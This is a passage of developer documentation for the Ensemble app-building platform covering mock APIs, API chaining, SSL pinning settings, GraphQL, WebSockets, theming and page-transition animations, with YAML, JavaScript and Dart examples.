'mockResponse1'}, + {name: 'mockResponse2'}, + {name: 'mockResponse3'}, + {name: 'mockResponse4'}, + {name: 'mockResponse5'} + ] + } + }; +} +``` +- Response from mock API can be used in a similar way as real API. To understand the utilization of API responses, detailed documentation is available [here](access-api-response). +### Mocking an error response +You can simply set `statusCode` property of the error to a specified status code such as "500" and `reasonPhrase` property to provide bit of description related to the error. +```yaml + mockError: + inputs: + - uniqueId + mockResponse: + body: + statusCode: 500 + reasonPhrase: mock bad request + + url: https://openlibrary.org/search.json?q=the+lord+of+the+rings + onResponse: |- + console.log('mockDataFromFunction='+uniqueId); + response.body.list.push({name: 'mockDataFromFunction adding in onResponse - '+uniqueId}); + onError: + showToast: + message: error occurred ${response.statusCode} ${response.reasonPhrase} + options: + duration: 5 +``` + +--- + +# Chaining APIs + +Chaining APIs, i.e. making sequential API calls, is a practice in app development when you need to retrieve and use data from multiple APIs in a specific order. Chaining APIs allows you to build more complex workflows and gather the necessary information for your application. + +```yaml +onLoad: + invokeAPI: + name: getuser + onResponse: + invokeAPI: + name: getcurrentUserContacts + inputs: + userId: ${getUser.body.id} +``` + +**Sequential API Calls:** +The onResponse event for each API call specifies the next API call to be made after the current one is successfully completed. +For example, after the initial API call named "getuser", the onResponse event triggers the "getcurrentUserContacts" API call. + +--- + +# SSL Configuration + +SSL (Secure Sockets Layer) configuration in Ensemble allows you to secure your API communications through certificate pinning and verification controls. This guide explains both global and per-API SSL configuration options and their proper usage. + +## Configuration Levels + +Ensemble supports SSL configuration at two levels: + +1. **Global Configuration** - Applied to all APIs by default using environment variables and secrets +2. **Per-API Configuration** - Overrides global settings for specific APIs using the `sslConfig` property + +## Global SSL Configuration + +### Environment Variables + +These settings apply to all APIs unless overridden by per-API configuration: + +#### ssl_pinning_enabled +- **Type:** Environment Variable +- **Purpose:** Controls whether SSL certificate pinning is active globally +- **Values:** 'true' or 'false' +- **Default:** false +- **Availability:** Only supported in native apps (not available for web apps) + +#### bypass_ssl_pinning +- **Type:** Environment Variable +- **Purpose:** Allows bypassing SSL certificate verification globally +- **Values:** 'true' or 'false' +- **Default:** false +- **Warning:** Should only be used in development environments, never in production + +#### bypass_ssl_pinning_with_validation +- **Type:** Environment Variable +- **Purpose:** Bypass SSL pinning while validating against stored certificate fingerprints +- **Values:** 'true' or 'false' +- **Default:** false +- **Usage:** Compares current certificate fingerprint with stored fingerprint from secure storage + +### Secrets + +#### ssl_pinning_certificate +- **Type:** Secret +- **Purpose:** Provides the certificate for SSL pinning verification +- **Format:** Must be Base64 encoded +- **Behavior:** The app will only trust servers presenting this certificate +- **Dependencies:** Requires `ssl_pinning_enabled` to be 'true' + +## Per-API SSL Configuration + +For more granular control, you can override global SSL settings for individual APIs using the `sslConfig` property in your API definition. + +### Basic Syntax + +```yaml +API: + mySecureAPI: + uri: https://api.example.com/data + method: GET + sslConfig: + pinningEnabled: true + bypassPinning: false + bypassPinningWithFingerprint: false + fingerprintKey: "api_example_com_fingerprint" + headers: + Authorization: Bearer ${token} +``` + +### sslConfig Properties + +#### pinningEnabled +- **Type:** Boolean +- **Purpose:** Enable/disable SSL certificate pinning for this specific API +- **Values:** true or false +- **Overrides:** Global `ssl_pinning_enabled` environment variable +- **Example:** `pinningEnabled: true` + +#### bypassPinning +- **Type:** Boolean +- **Purpose:** Bypass SSL certificate verification for this specific API +- **Values:** true or false +- **Overrides:** Global `bypass_ssl_pinning` environment variable +- **Warning:** Use only in development +- **Example:** `bypassPinning: true` + +#### bypassPinningWithFingerprint +- **Type:** Boolean +- **Purpose:** Bypass SSL pinning while validating against stored certificate fingerprints +- **Values:** true or false +- **Overrides:** Global `bypass_ssl_pinning_with_validation` environment variable +- **Example:** `bypassPinningWithFingerprint: true` +- **Requirement:** `fingerprintKey` should be set with the same key given in API defination as secureStorage. + +#### fingerprintKey +- **Type:** String +- **Purpose:** Specifies the key in secure storage where the certificate fingerprint is stored +- **Default:** "bypass_ssl_fingerprint" +- **Usage:** Used with `bypassPinningWithFingerprint` to retrieve the stored certificate fingerprint for validation +- **Example:** `fingerprintKey: "api_example_com_fingerprint"` + +## Certificate Fingerprint Management + +When using `bypassPinningWithFingerprint`, you need to store the certificate fingerprint in secure storage. There are two main approaches: + +### Method 1: Using Ensemble's setSecureStorage Action + +Store the certificate fingerprint manually using Ensemble's secure storage: + +```yaml +Button: + label: Store Certificate Fingerprint + onTap: + setSecureStorage: + key: "api_example_com_fingerprint" + value: "a1b2c3d4e5f6..." # SHA256 fingerprint of the certificate + onComplete: + showToast: + message: Certificate fingerprint stored +``` + +### Method 2: Using External Methods (Dynamic Certificate Capture) + +For dynamic certificate capture, you can expose external methods from your host application: + +#### Host Application Setup (Flutter/Dart Example) + +```dart +// In your main.dart or wherever you initialize EnsembleApp +Future> captureCertificateForHost({ + required String host, + int port = 443 +}) async { + HttpClient httpClient = HttpClient(); + httpClient.connectionTimeout = const Duration(seconds: 10); + + String sha256Certificate = ''; + + httpClient.badCertificateCallback = (X509Certificate cert, String certHost, int certPort) { + if (certHost.toLowerCase() == host.toLowerCase()) { + sha256Certificate = sha256.convert(cert.der).toString(); + return true; + } + return false; + }; + + try { + HttpClientRequest request = await httpClient.getUrl(Uri.parse('https://$host:$port/')); + HttpClientResponse response = await request.close(); + await response.drain(); + httpClient.close(); + + if (sha256Certificate != '') { + await StorageManager().writeSecurely( + key: 'bypass_ssl_certificate', + value: sha256Certificate, + ); + return {'status': true, 'fingerprint': sha256Certificate}; + } else { + return {'success': false, 'error': 'Failed to capture certificate'}; + } + } catch (e) { + return {'success': false, 'error': e.toString()}; + } +} + +// Register the external method +EnsembleApp( + externalMethods: const { + 'captureCertificateForHost': captureCertificateForHost, + }, + // ... other properties +) +``` + +#### Using External Method in Ensemble EDL + +```yaml +View: + onLoad: + callExternalMethod: + name: captureCertificateForHost + payload: + host: ${HOST} + port: ${PORT_NUMBER} + onComplete: + invokeAPI: + name: secureAPI + onError: + showToast: + message: "Failed to capture certificate: ${response.error}" + options: + type: error + +API: + secureAPI: + uri: ${HOST}/endpoint + method: GET + sslConfig: + bypassPinningWithFingerprint: true + fingerprintKey: "api_fingerprint" + headers: + Authorization: Bearer ${token} +``` + + + +## Configuration Examples + +### Example 1: High-Security API with Certificate Pinning + +```yaml +API: + paymentAPI: + uri: https://secure-payment.example.com/process + method: POST + sslConfig: + pinningEnabled: true + bypassPinning: false + bypassPinningWithFingerprint: false + headers: + Authorization: Bearer ${paymentToken} + Content-Type: application/json + body: + amount: ${amount} + currency: USD +``` + +### Example 2: Development API with SSL Bypass + +```yaml +API: + devTestAPI: + uri: https://dev-server.example.com/test + method: GET + sslConfig: + pinningEnabled: false + bypassPinning: true # Only for development! + bypassPinningWithFingerprint: false + headers: + Authorization: Bearer ${devToken} +``` + +## Security Best Practices + +1. **Production Environment**: Always use certificate pinning (`pinningEnabled: true`) for production APIs +2. **Development Environment**: Use `bypassPinning: true` only during development +3. **Dynamic Environments**: Use `bypassPinningWithFingerprint: true` when dealing with dynamic certificates or multiple environments +4. **Certificate Storage**: Store certificate fingerprints securely using `setSecureStorage` or external methods + +--- + +# GraphQL + +Use Case (Social Media): GraphQL is particularly beneficial in scenarios like social media, where large-scale data is involved. It allows clients to request only the specific data they need, leading to quicker response times (1-2 seconds). +Efficiency: GraphQL enables clients to specify the exact data they want in a single query, reducing over-fetching and under-fetching. + +```yaml + inputs: + - GQLInput + uri: ${env['graphQL_URL_'ensemble.storage]} + method: POST + headers: + Authorization: Bearer ${ensemble.storage.token.exp_token} + ContentType: "application/json" + body: + "query": |- + mutation UpdatePost($input: CreateUpdatePostInput!) {} + "variables": ${GQLInput} +``` + +HTTP Method: +GraphQL APIs typically use the HTTP POST method. In your example, the method is specified as POST. +```yaml +method: POST +``` + +URI (Uniform Resource Identifier): +The URI is typically a single endpoint for GraphQL APIs. In your example, the URI is parameterized with an environment variable (assuming graphQL_URL_ensemble.storage is provided at runtime). +```yaml +uri: ${env['graphQL_URL_'ensemble.storage]} +``` + +Headers: +GraphQL API requests often include headers for authentication or specifying the content type. In your example, you have headers for Authorization (Bearer token) and ContentType (set to "application/json"). +```yaml +headers: + Authorization: Bearer ${ensemble.storage.token.exp_token} + ContentType: "application/json" +``` + +Request Body: +GraphQL API requests use a structured query language in the request body. The key part here is the "query" field, where you define the GraphQL query or mutation. In your example, you are using a mutation called "UpdatePost," and the query is parameterized with ${GQLInput}. +```yaml +body: + "query": |- + mutation UpdatePost($input: CreateUpdatePostInput!) {} + "variables": ${GQLInput} +``` + +--- + +# Using WebSockets + +The Websockets feature enables bidirectional communication between client and server, facilitating real-time data exchange. + + +## Define a WebSocket + +The WebSocket configuration includes settings for connecting to the WebSocket server, handling connection events, and managing data exchange. + +`spark`: Represents the WebSocket connection to the specified URI (`wss://spark.ensembleui.com/example/ws/`). + +```yaml +Socket: + spark: + uri: wss://spark.ensembleui.com/example/ws/ + onSuccess: | + status.text = "connected"; + onDisconnect: | + status.text = "disconnected"; + onReconnectAttempt: | + status.text = "reconnecting"; + onReceive: | + console.log(spark.data); +``` + +## Interact with WebSockets + +Ensemble supports following actions for WebSockets: + +1. Connect Socket: Establishes a connection to the specified socket. + +```yaml + - Button: + label: Connect Action + onTap: + connectSocket: + name: spark +``` + +2. Disconnect Socket: Terminates the connection to the specified socket. + +```yaml + - Button: + label: Disconnect Action + onTap: + disconnectSocket: + name: spark +``` + +3. Message Socket: Sends a message over the specified socket. + +```yaml + - Button: + label: SendMessage Action + onTap: + messageSocket: + name: spark + message: + "content": "Hello there" +``` + +--- + +# Theme + +From color schemes to typography, widgets, and transition options, our comprehensive range of theme elements allows you to effortlessly personalize your app. Discover how themes can transform your online presence, create a cohesive brand identity, and provide a delightful user experience. Unlock the full potential of your app with our versatile and user-friendly theme customization features. + +[Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/theme) + +## Where to find it ? + +You can find the theme on Left-Side of the panel in ensemble studio after you have selected your App. + +image + +## Defining one theme + +You can define one or more themes for our app and switch between them dynamically. If you only need one theme, you can just define the `Styles` without any `Theme` tag, see the following example. + +```yaml +Tokens: + Colors: + primary: + '900': '#1A2A4C' + '800': '#243B6A' + '700': '#2F4D89' + '600': '#0077B8' + '500': '#0092E0' + '400': '#33B8FF' + '300': '#70CDFF' + '200': '#ADE4FF' + '100': '#D6F1FF' + '50': '#EBF5FF' +Styles: + Button: + backgroundColor: ${Colors.primary['800']} + .submitButton: + backgroundColor: green +``` + +## Defining multiple themes + +Use Case: Allow your users to switch between differnt themes to personalize the look and feel of your app to their tastes. Save the theme that the user selected and automatically apply it everytime user opens the app. + +You can define one or more themes for our app and switch between them dynamically. See [Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/theme) for a detailed example. + +## Defining themes for different languages + +Use Case: The primary use case is to define a different `fontFamily` for each language as some font families are more optimized for particular languages . You can go much further and define entirely different themes per language as well and allow users to switch between them. + +You can define multiple different themes for each language. This is of course optional. +- Ensemble platform will automatically pick the default theme for a language based on the language of the user's device. +- If none of the themes are marked as `default`, first theme for the language is selected. +- If a theme is not defined for the language, the default theme from the list of themes (or the first one) is applied. + +Here's how to define themes per language (also called locale) - + +```yaml +Themes: +# this is the list of all available themes + - Common + - PrimaryTheme: + default: true + - SecondaryTheme + - RTLTheme: + +LocaleThemes: +#this is the list of themes per locale. Note that the following themes must be present in the list of `Themes` above + en: #language code - https://www.science.co.il/language/Locale-codes.php is used to identify the language for the theme + - SecondaryTheme: + default: true + - PrimaryTheme + ur: + - RTLTheme: + default: true + - SecondaryTheme + ar: + - RTLTheme +``` +The [language code](https://www.science.co.il/language/Locale-codes.php) is used to identify the language. + +## Checking and Switching Themes in Javascript + +```javascript +var themes = app.themes; //returns a list of all configured themes +var currentTheme = app.theme; //currently applied theme +app.theme = 'newTheme'; //change themes dynamically. The theme name must be in the list of Themes in the theme definition. +``` + +In the following EDL, a `DropDown` widget is bound to the list of `themes` that have been configured in the app and allows user to swtich from one theme to another. + +**Example:** + +Bind the `themes` to a dropdown and let user switch themes from all the available themes. +```yaml + - Dropdown: + label: Pick a Theme + items: ${app.themes} + value: ${app.theme} + onChange: + executeCode: + body: | + app.theme = this.value; +``` + +## Savings themes in storage so they can be applied across application sessions + +A common requirement from theming is to be able to persist a theme that user has selected across multiple application sessions i.e. even when the user kills the app and relaunches, the theme s/he selected should automatically apply. Ensemble provides that capability by storing themes in local storage. + +At application startup time, Ensemble platform checks if there is a saved theme and if that theme exists in the list of theme definitions. If both conditions are true, it automatically applies the saved theme instead of the default theme configured in the app. + +Application developers have the following functions available to them. +```javascript +//save theme in storage, this will automatically be applied by the platform on startup +//note that saveTheme does NOT apply a theme, it merely saves it. use app.theme = 'myNewTheme'; to change themes dynamically, +app.saveTheme('myNewTheme'); +//retrieve the saved theme +var savedTheme = app.getSavedTheme(); //there can only be one saved theme +//or remove the saved theme from storage +app.removeSavedTheme(); +``` + +## Text Styles are automatically inherited unless overriden +All text styles (for example - `fontSize`, `fontFamily`, `color` etc) can be defined at the `View`, `Column`, `Row` or any of the top widget level and will automatically be inherited by all `Text` widgets. Note that labels for `Button` etc do not inherit these styles. + +**Example:** +```yaml +View: + className: topView +#rest of your screen definition +``` +And over in your Theme +```yaml + Styles: + .topView: + backgroundColor: ${Colors.gray['200']} + textStyle: + fontWeight: ${Typography.fontWeight['700']} + fontSize: ${Typography.fontSize['xl']} +``` +All `Text` in the screen will inherit these text styles. You can specify the style at the `View` node and then all Text widgets across your whole app would inherit those text styles + +## Parts of a Theme + +- Tokens (optional) +- Styles (in precedence order) + - Inline - specified directly on the widget + - ID based - specified with `#` before the name in the Theme.Styles + - Style Classes - specified as `className` attribute on a widget. One or more space delimited classes + - Widget type - specified for the widget type such as Button in the Theme.Styles + - Inherited from parent - these are limited to `textStyle` only (see above) + +Here's an explanation of the different parts of a theme: + +**1. Tokens (Optional):** + +Tokens are named collections of values typically used for colors, fonts, and spacing. They provide a way to define reusable values across your theme and avoid code duplication. These tokens are then used inside the `Styles` with the expression syntax, for example `${Colors.gray['200']}` + +**Example:** + +```yaml +Light: + label: Light Theme + description: This theme turns everything light as in white background and is default + inheritsFrom: Common + Tokens: + Colors: + teal: + '900': '#014451' + '800': '#05505C' + '700': '#036672' + '600': '#047481' + '500': '#0694A2' + '400': '#16BDCA' + '300': '#7EDCE2' + '200': '#AFECEF' + '100': '#D5F5F6' + '50': '#EDFAFA' + Styles: + Button: + borderRadius: 20 + .submit: + backgroundColor: ${Colors.teal['800']} + labelStyle: + color: white + fontFamily: ${Typography.fontFamily} +``` + +**2. Styles (Precedence Order):** + +Styles define how different UI elements will appear. Ensemble applies styles based on their **precedence**, with higher precedence styles overriding lower ones. Here's the order of precedence, from highest to lowest: + +* **Inline Styles:** Styles defined directly on the widget using the `style` attribute. +* **Style Classes:** Styles defined in the theme and applied to a widget using the `className` attribute (space-separated list of classes). +* **ID-based Styles:** Styles defined in the theme using an ID selector (preceded by `#`). +* **Widget Type Styles:** Styles defined for a specific widget type (e.g., `Button`). + +**Example of Styles defined in a Theme:** + +```yaml +Light: + Styles: + # ID-based style + '#heading': + fontSize: 24 + fontWeight: bold + + # Widget type style + Button: + backgroundColor: ${Colors.primary} + color: white + + # Style class + .error: + color: red +``` +**Example of Inline styles and specifying classes** +```yaml +Button: + styles: + backgroundColor: red + className: commonButton submitButton #here two classes are applied in order i.e. the styles defines in the list of classes are merged in the order they are specified. +``` +**Specificity:** + +Similar to CSS, styles in Ensemble with higher specificity will override those with lower specificity. Specificity is determined by the number and type of selectors used in the style definition. Inline styles and styles specified by the ID-based styles have the highest specificity, followed by classes and then widget type styles. + +By understanding the different parts of a theme and how inheritance and specificity work, you can create well-structured, maintainable, and reusable themes for your Ensemble applications. + +## Theme Inheritance in Ensemble + +Ensemble allows you to create reusable and organized themes using inheritance, similar to how CSS works. This lets you define common styles in a base theme and then have other themes inherit and modify those styles as needed. + +### Benefits of Theme Inheritance + +* **Reduces code duplication:** Define common styles once in a base theme and avoid repeating them in other themes. +* **Improved maintainability:** Makes changes to common styles easier to manage as they are centralized in the base theme. +* **Theming hierarchy:** Build a clear hierarchy of themes, making it easier to understand how styles are applied. + +### How Inheritance Works + +1. **Base Theme:** Define a theme (e.g., `Common`) containing the styles you want to share with other themes. You can define multiple base themes +2. **Inheriting Theme:** Define another theme (e.g., `Light`) and specify the base theme it inherits from using the `inheritsFrom` property. A base theme may inherit from another theme forming a chain +3. **Overriding Styles:** The inheriting theme can override any styles from the base theme by defining the same styles with different values. + +### Example + +Here's an example demonstrating theme inheritance: + +**Common Theme:** + +```yaml +Common: + label: Common theme + Tokens: + Colors: + primary: '#0077B8' + gray: + '200': '#f2f2f2' + '300': '#e0e0e0' + Styles: + .topView: + backgroundColor: ${Colors.gray['200']} + Button: + borderRadius: 20 + backgroundColor: red +``` + +**Light Theme (inherits from Common):** + +```yaml +Light: + label: Light Theme + description: Light theme with white background + inheritsFrom: Common + Tokens: + Colors: + teal: # New color palette for Light theme + '500': '#0694A2' + Styles: + Button: + backgroundColor: ${Colors.teal['500']} # Inherits primary from Common and overrides with teal + labelStyle: + color: white +``` + +**Explanation:** + +* `Light` theme inherits styles and tokens from the `Common` theme. +* `Light` theme overrides the `backgroundColor` of the `Button` style with its own `teal` color. +* `Light` theme's `Button` inherits the `borderRadius` from `Common` theme +* Other styles from `Common` (like `.topView`) are still applied to the `Light` theme. + +This example demonstrates how you can define a common base theme and then create specific themes like `Light` and `Dark` that inherit and modify styles as needed. + + + +### Properties + +Now let us see what properties does it have on larger level + +| Property | Type | Description | +| :---------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| material3 | boolean | If set true, material3 will be applied else material2. see [here](https://material.io/blog/migrating-material-3) for more details about Material Design 2 vs 3. | +| Text | object | [see properties](#text) | +| Colors | object | [see properties](#colors) | +| Widgets | object | [see properties](#widgets) | +| Transitions | object | [see properties](#transitions) | + +### Text + +| Property | Type | Description | +| :------------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports) | +| displayLarge | object | Largest of display styles . As the largest text on the screen, display styles are reserved for short, important text or numerals. They work best on large screens. [see properties](#textstyle) | +| displayMedium | object | Middle size of the display styles. As the largest text on the screen, display styles are reserved for short, important text or numerals. They work best on large screens. [see properties](#textstyle) | +| displaySmall | object | Smallest of the display styles. As the largest text on the screen, display styles are reserved for short, important text or numerals. They work best on large screens. [see properties](#textstyle) | +| headlineLarge | object | Largest of the headline styles. Headline styles are smaller than display styles. They're best-suited for short, high-emphasis text on smaller screens. [see properties](#textstyle) | +| headlineMedium | object | Middle size of the headline styles. Headline styles are smaller than display styles. They're best-suited for short, high-emphasis text on smaller screens.[see properties](#textstyle) | +| headlineSmall | object | Smallest of the headline styles. Headline styles are smaller than display styles. They're best-suited for short, high-emphasis text on smaller screens. [see properties](#textstyle) | +| titleLarge | object | Largest of the title styles. Titles are smaller than headline styles and should be used for shorter, medium-emphasis text.[see properties](#textstyle) | +| titleMedium | object | Middle size of the title styles. Titles are smaller than headline styles and should be used for shorter, medium-emphasis text. [see properties](#textstyle) | +| titleSmall | object | Smallest of the title styles. Titles are smaller than headline styles and should be used for shorter, medium-emphasis text. [see properties](#textstyle) | +| bodyLarge | object | Largest of the body styles. Body styles are used for longer passages of text. [see properties](#textstyle) | +| bodyMedium | object | Middle size of the body styles. Body styles are used for longer passages of text. [see properties](#textstyle) | +| bodySmall | object | Smallest of the body styles. Body styles are used for longer passages of text. [see properties](#textstyle) | +| labelLarge | object | Largest of the label styles. Label styles are smaller, utilitarian styles, used for areas of the UI such as text inside of components or very small supporting text in the content body, like captions. [see properties](#textstyle) | +| labelMedium | object | Middle size of the label styles. Label styles are smaller, utilitarian styles, used for areas of the UI such as text inside of components or very small supporting text in the content body, like captions. [see properties](#textstyle) | +| labelSmall | object | Smallest of the label styles. Label styles are smaller, utilitarian styles, used for areas of the UI such as text inside of components or very small supporting text in the content body, like captions. [see properties](#textstyle) | + +#### TextStyle + +| Property | Type | Description | +| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| fontSize | integer | Sets the size of the text. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +### Colors + +| Property | Type | Description | +| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| seed | string or integer | Generate color schema based on seed color. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange`. [more here]() | +| primary | string or integer | Primary color of your App (e.g button color, focus color, ...). The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| onPrimary | string or integer | The color overlay on top of your primary color (e.g button text). The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| secondary | string or integer | The Secondary color of your App. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| onSecondary | string or integer | The color overlay on top of your secondary color. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabled | string or integer | Color when a widget is disabled. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| loadingScreenBackgroundColor | string or integer | The background color while a screen is loading. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| loadingScreenIndicatorColor | string or integer | The progress indicator color while a screen is loading. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +### Widgets + +*All the style properties for a widget are available to you to be set as part of the theme. Following is just a sample.* + +| Property | Type | Description | +| :------- | :----- | :------------------------ | +| Input | object | [see properties](#input) Applies to all form input such as DateRange, TextInput etc| +| Button | object | [see properties](#button) | + +#### Input + +| Property | Type | Description | +| :---------------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| variant | string | Select a pre-defined look and feel for Input widgets [see properties](#options-for-inputvariant) | +| fillColor | string or integer | The fill color for applicable input fields (TextInput, Dropdown, ...). which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderRadius | integer | The border radius for applicable Input widgets. | +| borderWidth | integer | The border width for applicable Input widgets. | +| borderColor | integer or string | The base border color for applicable input fields. This border color determines the look and feel of your inputs, while the other colors are overrides for different states, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabledBorderColor | integer or string | The border color when input fields are disabled, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| errorBorderColor | integer or string | The border color when there are errors on the input fields, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedBorderColor | integer or string | The border color of the input field when it is receiving focus | +| focusedErrorBorderColor | integer or string | The border color of the input field when it is receiving focus in its error state, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| hintStyle | object | [see properties](#textstyle) | + +#### Button + +| Property | Type | Description | +| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| color | integer or string | The color specification for the text, icons, divider etc, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| padding | string or integer | Padding with CSS-style value | + +#### options for Input.variant + +| Property | Description | +| :-------- | :--------------------------------------------------------- | +| underline | Draw an Underline below applicable input widgets (default) | +| box | Draw a Box border around applicable input widgets | + +### Transitions + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------- | +| page | object | [see properties](#properties-for-transitionspage) | +| modal | object | Same properties as the `page` property except `alignment`. | + +#### Properties for Transitions.page + +| Property | Type | Description | +| :-------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| type | string | Kind of transition types. Can read more about it [here](#animations-in-ensembleui). Possible values are `fade`,`rightToLeft`,`leftToRight`,`topToBottom`,`bottomToTop`,`scale`,`rotate`,`size`,`rightToLeftWithFade`,`leftToRightWithFade`,`leftToRightPop`,`rightToLeftPop`,`topToBottomPop`,`bottomToTopPop` | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| duration | integer | The duration in `ms ( millisecond )` for which the transition animation happens. | + +--- + +# Animations in EnsembleUI + +Welcome to our Animations page! Here, you'll learn how to bring your website to life with stunning page transition animations. Elevate user experience and captivate your audience with smooth transitions that seamlessly guide them through your content. Get ready to add a touch of magic to your web pages with our animation techniques. + +Note: `Currently we only support page transition animations`. + +**Example** +Let us take an example of how page transition animations work. We can make it work in teo ways either at the [Screen](#page-level-code) or in the [Theme](#theme). + +#### Page Level + + + +```yaml +- Button: + label: Navigate to Home + onTap: + navigateScreen: + name: Home + transition: + type: bottomToTopPop + duration: 250 # millisecond is default +``` + + + + +**Explanation** + +The `type` property under `transition` property for _NavigateScreen_ action allows you to chose kind of animation you want. There are [list](#list-of-animation-types) of options you can chose from. + +#### Theme + +We can also define animations in our App theme, here is how you can do it. You can learn more about theme [here](). + + + +```yaml +Transitions: + page: + type: size + alignment: topRight + duration: 300 # Millisecond +``` + + + + +**Explanation** + +Works similarly to page level transition in the screen but now we are defining it in [Theme]() which makes it applicable to page transitions across the whole App. + +#### List of Animation Types + +| Type | Description | +| :------------------ | :-------------------------------------------------------------------------------------------------------------------------------------------- | +| Fade | Smoothly transition between pages with a gentle fading effect, creating a seamless and elegant user experience. | +| RightToLeft | Slide pages from right to left, providing a visually pleasing flow that guides users through your content. | +| LeftToRight | Engage users with a left-to-right animation, giving a sense of progression and intuitive navigation. | +| TopToBottom | Bring a sense of depth to your pages as they transition from top to bottom, creating a visually immersive experience. | +| BottomToTop | Enhance user engagement by animating pages from bottom to top, adding a touch of dynamism to your website. | +| Scale | Add a dramatic effect as pages smoothly scale in and out, providing a visually striking transition between content. | +| Rotate | Give your pages a unique twist as they rotate into view, creating a captivating and memorable animation. | +| Size | Play with the size of your pages as they transition, making them expand or contract for a visually engaging effect. | +| RightToLeftWithFade | Combine the sliding motion of right-to-left transition with a fading effect, adding an extra layer of elegance to your page transitions. | +| LeftToRightWithFade | Blend 